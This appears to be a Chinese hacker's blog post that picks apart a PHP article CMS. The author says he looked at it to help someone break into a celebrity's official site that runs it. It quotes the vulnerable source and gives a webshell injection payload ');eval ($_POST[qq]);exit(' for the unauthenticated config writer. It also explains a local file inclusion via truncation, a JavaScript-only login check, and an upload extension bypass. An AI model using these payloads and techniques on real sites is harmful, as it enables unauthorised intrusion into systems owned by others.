作者:心灵

    某个明星官方用这个系统,今天有个网友问我这个程序是否能日下,为了这个明星,决定帮忙看了下。

    下载地址:http://www.codefang.com/soft/sort02/down-4760.html#download

    经典对白看代码....

    漏洞一:

    直接写配置文件:admin\Admin_Setting.php。

以下是引用片段:

//文件头没有任何验证登录过程 直接访问
                <?php  
                                $arttitle=$_REQUEST["arttitle"];
                                $artsubtitle=$_REQUEST["artsubtitle"];
                                $artindex=$_REQUEST["artindex"];
....省略
                                $artdatabase=$_REQUEST["artdatabase"];
                                if ($_SERVER['REQUEST_METHOD']=="POST"){
                                        $fp=fopen("../Config.php",w);  //V5
                                        $tempcontent="
<?php
//DATABASE INFO
define('DB_HOST','$arthost');
define('DB_USER','$artusername');
define('DB_PASSWORD','$artpassword');
define('DB_DATABASE','$artdatabase');

//SYSTEM PROPERTIES
define('ART_TITLE','$arttitle');
define('ART_SUBTITLE','$artsubtitle');
define('ART_INDEX','$artindex');
define('ART_DIR','$artdir');
define('ART_URL','$artindex$artdir');
define('ART_PAGESIZE',$artpagesize);  //V5 V5 直接写马儿     );eval ($_POST[qq]);exit(
define('ART_SKIN','$artskin');
.....省略>";
                                        fwrite($fp,$tempcontent,strlen($tempcontent));   //V5
                                        fclose($fp);

    自己架设一台 MYSQL 服务器,然后设置。。。。。 就直接登录后台,有什么用?一会说。

    注:此方法不推荐用,你又不能帮别人改回去。

    漏洞二:admin/index.php

以下是引用片段:

<?php include "../Config.php";?>
</head>
<body>
<?php checkadmin();?> //配合漏洞一能绕过
<div id="container">
        <div id="header">
                <h2><?php echo "<a href='".ART_URL."' title='".ART_TITLE."'>".ART_TITLE."</a>" ?> [管理中心]</h2>
                <h3><?php echo ART_SUBTITLE ?></h3>
        </div>
        <div id="maincontent">
                <div id="sidebar">
                        <?php include "Admin_Sidebar.php";?>
                </div>
                <div id="main">
                        <?php
                        if ($_REQUEST["Act"]!=""){
                                include "Admin_".$_REQUEST["Act"].".php";   //本地包含漏洞 利用超长字符截断.........

    但由于漏洞一问题,所以就不用了。然后就是分析一些代码的(在这系统中不是漏洞,仅供学习)。

Function.php:

<?php
function msgurl($str1,$str2="Index.php"){
        echo "<script>alert('$str1');location.href='$str2';</script>";
}  //这里设置浏览器关闭脚本的话 能绕过
function checkadmin(){
    if ($_SESSION["username"]==""||$_SESSION["admin"]!=1){
        msgurl("你未登录或登录已经超时,请重新登录!","Admin_Login.php");
        exit;  //这里正确
    }
}

    还有一个有趣的,Admin\Admin_Upload.php,此文件没有验证登录,能直接访问使用。

以下是引用片段:

    if ($TextField=="artthumb"){
        $acceptext="jpg,jpeg,bmp,gif,png";
        }
        $extname=substr($upload_file_name,strpos($upload_file_name,".")+1);
        if (strpos($acceptext,$extname)===false){ //第一次见用这个函数来判定
                msgurl("不允许的后缀名 .".$extname,"Admin_Upload.php?TextField=".$TextField);
                exit;
        }

    那么上传后缀为:1.jp,或者:1.,jpeg,bmp,或:1.ng,全部能上传,但不能解析这些文件(除你能控制 WEB SERVER 设置,增加未知后缀解析为 PHP)。